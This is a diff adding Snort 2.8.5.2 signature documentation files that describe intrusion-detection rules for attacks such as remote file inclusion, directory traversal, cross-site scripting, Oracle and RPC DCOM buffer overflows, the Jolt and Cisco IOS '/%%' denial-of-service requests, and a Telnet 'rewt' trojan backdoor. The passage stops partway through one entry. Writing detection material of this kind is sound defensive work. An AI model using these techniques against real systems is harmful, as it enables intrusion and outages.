--- snort-2.8.5.2.orig/doc/signatures/873.txt
+++ snort-2.8.5.2/doc/signatures/873.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+873
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000615.txt
+++ snort-2.8.5.2/doc/signatures/100000615.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000615
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_premium_sponsored.php" using a remote file being 
+passed as the "admin_template_path" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"link_premium_sponsored.php" script used by the "Indexu" application running on 
+a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/212.txt
+++ snort-2.8.5.2/doc/signatures/212.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+212
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Telnet server using the phrase "rewt".
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects UNIX operating systems:
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and 
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1703.txt
+++ snort-2.8.5.2/doc/signatures/1703.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1703
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/410.txt
+++ snort-2.8.5.2/doc/signatures/410.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+410
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Fragment Reassembly Time Exceeded message.
+
+--
+
+Impact:
+This could be an indication of an improperly configured routing device or networked host.  
+
+--
+
+Detailed Information:
+ICMP Type 11 Code 1 is the RFC defined messaging type for ICMP Fragment Reassembly Time exceeded datagrams.  If a host fails to reassemble a fragmented datagram before the TTL of the datagram is expires an ICMP Fragment Reassembly Time Exceeded datagram is generated.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Fragment reassembly Time Exceeded messages are normally and indication of improperly configured hosts or routing equipment.  The configurations of the devices causing these ICMP datagrams to be created should be checked for errors.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1834.txt
+++ snort-2.8.5.2/doc/signatures/1834.txt
@@ -0,0 +1,81 @@
+Rule:
+
+--
+Sid:
+1834
+
+--
+Summary:
+This event is generated when a cross-site scripting attack is being 
+attempted, or a potential attacker is testing your site to determine if 
+it is vulnerable.
+
+--
+Impact:
+Successful cross-site scripting attacks generally target the users of 
+your web site. Attackers can potentially gain access to your users' 
+cookies or session ids, allowing the attacker to impersonate your
+user. They could also set up elaborate fake logon screens to steal 
+user names and passwords.
+
+--
+Detailed Information:
+Whenever a web application accepts input (either via the URL or the 
+POST method) and then uses that input as part of the HTML of a new page 
+without filtering, the application is vulnerable to cross-site 
+scripting.  The traditional means of exploiting this is to embed a 
+"<SCRIPT>" tag into the input. The code following the tag is then 
+executed by the victim's browser.
+
+--
+Affected Systems:
+Many older versions of web server software are affected, as are numerous
+web applications.
+
+--
+Attack Scenarios:
+The most common avenue of attack is for the attacker to send an HTML 
+formatted email to the victim. The email will contain a link to a 
+specially crafted URL which contains the exploit. When the victim clicks
+on the link, they are directed to the vulnerable web site and the attack
+code is executed by their browser.
+
+--
+Ease of Attack:
+Moderately Easy.  Exploit code exists to automate attacks against users 
+of some widely deployed web applications which are known to be 
+vulnerable. 
+
+Finding vulnerabilities in other, including proprietary, web
+applications is fairly trivial and existing exploit code could easily be
+modified to take advantage of newly discovered vulnerabilities.
+
+--
+False Positives:
+Web pages that legimately include the <SCRIPT> tag could generate this 
+event under certain circumstances.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Determine if your web application is actually vulnerable to this 
+attack. If it is and the application is not of your own design, contact 
+the authors or vendor and see if there is a patch or newer version.
+
+If the application is proprietary to you or your company, ensure that it 
+properly validates input.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2852.txt
+++ snort-2.8.5.2/doc/signatures/2852.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2852
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure generate_mview_support
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2640.txt
+++ snort-2.8.5.2/doc/signatures/2640.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2640
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "drop_mview_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gowner" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck90.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3319.txt
+++ snort-2.8.5.2/doc/signatures/3319.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3319
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/268.txt
+++ snort-2.8.5.2/doc/signatures/268.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+268
+
+--
+Summary:
+This event is generated when a remote attacker attempts to send large, fragmented IP packets to the internal network, indicating a Jolt Denial of Service (DoS) attack.
+
+--
+Impact:
+Denial of service.
+
+--
+Detailed Information:
+Jolt is a DoS attack characterized by large, fragmented IP packets that, when launched at a Windows system, can hang or crash the computer. 
+
+--
+Affected Systems:
+Windows 95
+Windows 98
+Windows NT
+Windows 2000
+
+--
+Attack Scenarios:
+An attacker sends oversized, fragmented IP packets to a target computer. If the computer is running an unpatched version of Windows, it may crash.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Install the latest patches available for your operating system.
+
+Implement a packet-filtering firewall to block inappropriate traffic to the network.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000715.txt
+++ snort-2.8.5.2/doc/signatures/100000715.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000715
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "logs.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "logs.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2056.txt
+++ snort-2.8.5.2/doc/signatures/2056.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2056
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server using the TRACE command.
+
+--
+Impact:
+Possible disclosure of information.
+
+--
+Detailed Information:
+The TRACE method is used when debugging a webserver to ensure that 
+server returns information to the client correctly. When used with other
+vulnerabilities it is possible to use the TRACE method to return 
+sensitive information from a webserver such as authentication data and 
+cookies.
+
+This is known as a Cross Site Tracing (XST) attack.
+
+--
+Affected Systems:
+All platforms running a webserver that responds to the TRACE method.
+
+--
+Attack Scenarios:
+The attacker needs to perform a TRACE request to a vulnerable server.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+The TRACE method is legitimate and may be used to debug a webserver or 
+can be used to debug other networking equipment.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the webserver from responding to TRACE requests.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/867593
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=11213
+
+RFC:
+http://www.ietf.org/rfc/rfc2616.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/664.txt
+++ snort-2.8.5.2/doc/signatures/664.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+664
+
+--
+Summary:
+This event is generated when maliciously formatted "rcpt to" text is supplied to Sendmail.
+
+--
+Impact:
+Attempted administrator access.  A successful attack can allow remote execution of commands with root privleges.
+
+--
+Detailed Information:
+A vulnerability exists in older versions of Sendmail that incorrectly parses message headers.  This can allow a malicious user to execute arbitrary commands as root.
+
+--
+Affected Systems:
+Sendmail versions prior to 8.6.10 and any version based on 5.x.
+
+--
+Attack Scenarios:
+An attacker can craft a malicious mail header that executes a command.
+
+--
+Ease of Attack:
+Easy.  Use a maliciously formatted header.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to version 8.6.10 or higher of Sendmail.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2308
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0203
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/705.txt
+++ snort-2.8.5.2/doc/signatures/705.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+705
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/431.txt
+++ snort-2.8.5.2/doc/signatures/431.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+431
+
+--
+
+Summary:
+This event is generated when a host generates and ICMP Type 40 Code 2 Decompression Failed datagram.
+
+--
+
+Impact:
+ICMP Type 40 Code 2 datagrams are an indication that a received datagram failed a decompression check for a given SPI.  Normally this is an indication that hosts using IP Security Protocols such as AH or ESP have been configured incorrectly or are failing to establish a session with another host.
+
+--
+
+Detailed Information:
+Hosts using IP Security Protocols such as AH or ESP generate ICMP Type 40 datagrams when a failure condition occurs.  ICMP Type 40 Code 2 datagrams are generated when a received datagram fails the decompression check for a given SPI (Security Parameters Index). 
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 40 datagrams not normally seen on the network.  Currently Sourcefire is unaware of any hardware that has implemented these types of ICMP datagrams.  Hosts generating these types of ICMP datagrams should be investigated for nefarious activity or configuration errors. 
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+RFC2521
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1161.txt
+++ snort-2.8.5.2/doc/signatures/1161.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1161
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1546.txt
+++ snort-2.8.5.2/doc/signatures/1546.txt
@@ -0,0 +1,65 @@
+Rule:
+--
+Sid:
+1546
+--
+Summary:
+This event is generated when an attempt is made to issue a denial of 
+service attack against a Cisco router or switch.
+--
+Impact:
+If successful, the router will hang for two minutes, then reboot.   
+Under certain circumstances, the router will hang until power cycled 
+manually.
+--
+Detailed Information:
+The HTTP server that is part of some versions of the Cisco IOS software 
+has a bug that causes it to enter an infinite loop when handling a 
+request for "/%%".
+--
+Affected Systems:
+The following Cisco products can be affected.   Whether they actually 
+are vulnerable or not depends on the version of IOS that they are 
+running.   To properly determine if your product is vulnerable, see the 
+Cisco website referenced below.
+Cisco routers in the AGS/MGS/CGS/AGS+, IGS, RSM, 800, ubr900, 1000, 
+2500, 2600, 3000, 3600, 3800, 4000, 4500, 4700, AS5200, AS5300, AS5800, 
+6400, 7000, 7200, ubr7200, 7500, and 12000 series.
+Most recent versions of the LS1010 ATM switch.
+The Catalyst 6000 if it is running IOS.
+Some versions of the Catalyst 2900XL and 3500XL LAN switches.
+The Cisco DistributedDirector.
+--
+Attack Scenarios:
+This attack creates a denial of service.
+--
+Ease of Attack:
+Very easy.   
+--
+False Positives:
+Unlikely.
+--
+False Negatives:
+This signature only looks for attacks against systems that are included 
+in the $HTTP_SERVERS group.   Many administrators do not consider 
+routers or switches to be web servers, and therefore may not include 
+vulnerable devices in this group, causing an attack to proceed 
+unnoticed.   If you think one of your routers or switches is vulnerable, 
+reference it in the $HTTP_SERVERS group.
+--
+Corrective Action:
+Turn off the web server functionality, use access lists to ensure only 
+trusted hosts have access to the device, or upgrade your version of IOS.
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+Cisco
+http://www.cisco.com/warp/public/707/ioshttpserver-pub.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1649.txt
+++ snort-2.8.5.2/doc/signatures/1649.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1649
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2908.txt
+++ snort-2.8.5.2/doc/signatures/2908.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2908
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_snapshot_repschema
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1765.txt
+++ snort-2.8.5.2/doc/signatures/1765.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1765
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/321.txt
+++ snort-2.8.5.2/doc/signatures/321.txt
@@ -0,0 +1,65 @@
+Rule: 
+
+--
+Sid: 321
+
+-- 
+Summary: 
+An information leak exploit against the old Solaris finger daemon
+
+-- 
+Impact: 
